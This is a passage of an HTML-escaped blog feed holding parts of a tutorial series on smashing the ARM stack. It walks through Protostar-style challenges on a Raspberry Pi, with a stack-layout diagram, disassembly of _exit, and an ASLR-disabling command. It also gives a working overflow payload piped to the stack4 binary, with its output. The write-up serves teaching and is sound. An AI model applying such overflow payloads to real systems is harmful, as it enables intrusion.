&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---------------&lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="o"&gt;---------&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;start&lt;/span&gt;
&lt;span class="nf"&gt;.......&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;pre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;exploit&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---------------&lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="o"&gt;---------&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;start&lt;/span&gt;
&lt;span class="nf"&gt;AAAAAAA&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;BB&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;addr1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;CC&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;addr2&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;overflow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;extended&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="nf"&gt;v&lt;/span&gt;&lt;span class="o"&gt;---------&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;start&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nf"&gt;??&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;CC&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;addr2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;??&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;called&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;without&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;------&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;win&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-------------------^&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So now we control where &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;win&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will return: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;addr2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="planning-a-controlled-exit"&gt;Planning a controlled exit&lt;/h2&gt;
&lt;p&gt;An ideal situation would make the program continue running after exploiting it, known as &lt;a href="https://azeria-labs.com/process-continuation-shellcode/"&gt;process continuation shellcode&lt;/a&gt; but it is too complex for now.&lt;/p&gt;
&lt;p&gt;The simplest thing is to call &lt;a href="https://linux.die.net/man/2/_exit"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;_exit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; a thin glib wrapper of &lt;a href="https://man7.org/linux/man-pages/man2/exit_group.2.html"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;exit_group&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; syscall that exits the process and its threads.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;_exit&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xb6f1b934&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;_exit&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;r7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xb6f1b938&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;_exit&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xb6f1b93c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;_exit&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0xf8&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xb6f1b940&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;_exit&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;svc&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xb6f1b944&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;_exit&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;cmn&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x1000&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;xb6f1b948&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;_exit&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;bhi&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;#_exit+68 &amp;lt;_exit+68&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;svc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is what it triggers the syscall. In Arm 32bits the instruction is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;swi&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but the disassembler renames it to the newer name: &lt;em&gt;supervisor call&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The syscall number is passed to the kernel via &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r7&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as mentioned in &lt;a href="https://man7.org/linux/man-pages/man2/syscall.2.html"&gt;man syscall(2)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In our case &lt;a href="https://github.com/torvalds/linux/blob/v4.17/arch/arm/tools/syscall.tbl#L265"&gt;0xf8 is the syscall number&lt;/a&gt; of &lt;a href="https://man7.org/linux/man-pages/man2/exit_group.2.html"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;exit_group&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="exploit-level-2"&gt;Exploit level 2&lt;/h2&gt;
&lt;p&gt;We are going to cheat a little and disable ASLR so we can hardcode the address of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;_exit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (0xb6f1b934)&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;setarch&lt;span class="w"&gt; &lt;/span&gt;linux32&lt;span class="w"&gt; &lt;/span&gt;--addr-no-randomize&lt;span class="w"&gt; &lt;/span&gt;/bin/bash
&lt;span class="o"&gt;(&lt;/span&gt;aslr&lt;span class="w"&gt; &lt;/span&gt;disabled&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-ne&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x04\x01\x00BBBB\x34\xb9\xf1\xb6&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;./stack4
code&lt;span class="w"&gt; &lt;/span&gt;flow&lt;span class="w"&gt; &lt;/span&gt;successfully&lt;span class="w"&gt; &lt;/span&gt;changed

&lt;span class="o"&gt;(&lt;/span&gt;aslr&lt;span class="w"&gt; &lt;/span&gt;disabled&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;
&lt;span class="m"&gt;31&lt;/span&gt;

&lt;span class="o"&gt;(&lt;/span&gt;aslr&lt;span class="w"&gt; &lt;/span&gt;disabled&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As you can see the return code of the process was 31. I corroborated with a debugger the value of the registers before the syscall and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was 31 as expected.&lt;/p&gt;
&lt;p&gt;Instead of jumping to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;_exit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we could jump before to a piece of code –known as gadget– that sets &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to zero and then jump to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;_exit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But that’s for another post.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/01/20/Smashing-ARM-Stack-for-Fun-Part-V.html" rel="alternate" type="text/html" title="Smashing ARM Stack for Fun - Part V"/>
    <category term="reversing" label="reversing"/>
    <category term="exploiting" label="exploiting"/>
    <category term="ARM" label="ARM"/>
    <category term="iasm" label="iasm"/>
    <category term="azeria-labs" label="azeria-labs"/>
    <category term="egg" label="egg"/>
    <category term="shellcode" label="shellcode"/>
    <published>2021-01-20T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/01/19/Smashing-ARM-Stack-for-Fun-Part-IV.html</id>
    <title>Smashing ARM Stack for Fun - Part IV</title>
    <updated>2021-01-19T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;This time the goal is to make the program print the message &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s"&gt;&amp;quot;code flow successfully changed&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="a-manual-xref"&gt;A manual &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xref&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Let’s see where this message is stored:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;search&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;code flow successfully changed&amp;quot;&lt;/span&gt;
&lt;span class="nf"&gt;stack3&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="mh"&gt;0x10560&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x65646f63&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#39;code flow successfully changed&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;*/&lt;/span&gt;
&lt;span class="nf"&gt;stack3&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="mh"&gt;0x20560&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x65646f63&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#39;code flow successfully changed&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;*/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And from where the executable makes a reference to it? In other words, where in the code segment this address is stored?&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;search&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nv"&gt;executable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10560&lt;/span&gt;
&lt;span class="nf"&gt;stack3&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="mh"&gt;0x10490&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10560&lt;/span&gt;
&lt;span class="nf"&gt;stack3&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="mh"&gt;0x10c6c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10560&lt;/span&gt;
&lt;span class="nf"&gt;stack3&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="mh"&gt;0x20490&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10560&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To summarize the message (and array of chars) is stored at 0x10560 and the address 0x10560 is stored in 0x10490, 0x10c6c and 0x20490.&lt;/p&gt;
&lt;p&gt;These addresses are the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that the program must load into a register to do a call to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;puts&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Let’s assume that one of those addresses is loaded in a register using an instruction like this:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nf"&gt;???&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;r?&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#offset?]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It is a reasonable assumption: the rest of the challenges so far used this instruction.&lt;/p&gt;
&lt;p&gt;We don’t know neither which register will be using nor the offset so we will have to guess.&lt;/p&gt;
&lt;p&gt;Let’s see what we can find with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;objdump&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;grep&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nl"&gt;pi@raspberrypi:&lt;/span&gt;&lt;span class="err"&gt;~&lt;/span&gt;&lt;span class="nf"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;objdump&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;stack3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;grep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ldr.*r[0-9], \[pc&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;10374:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f000c&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#12]   ; 10388 &amp;lt;_start+0x34&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;10378:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f300c&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#12]   ; 1038c &amp;lt;_start+0x38&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;10390:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f3014&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#20]   ; 103ac &amp;lt;call_weak_fn+0x1c&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;10394:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f2014&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#20]   ; 103b0 &amp;lt;call_weak_fn+0x20&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;103&lt;/span&gt;&lt;span class="nl"&gt;b4:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f301c&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#28]   ; 103d8 &amp;lt;deregister_tm_clones+0x24&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;103&lt;/span&gt;&lt;span class="nl"&gt;b8:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f001c&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#28]   ; 103dc &amp;lt;deregister_tm_clones+0x28&amp;gt;&lt;/span&gt;
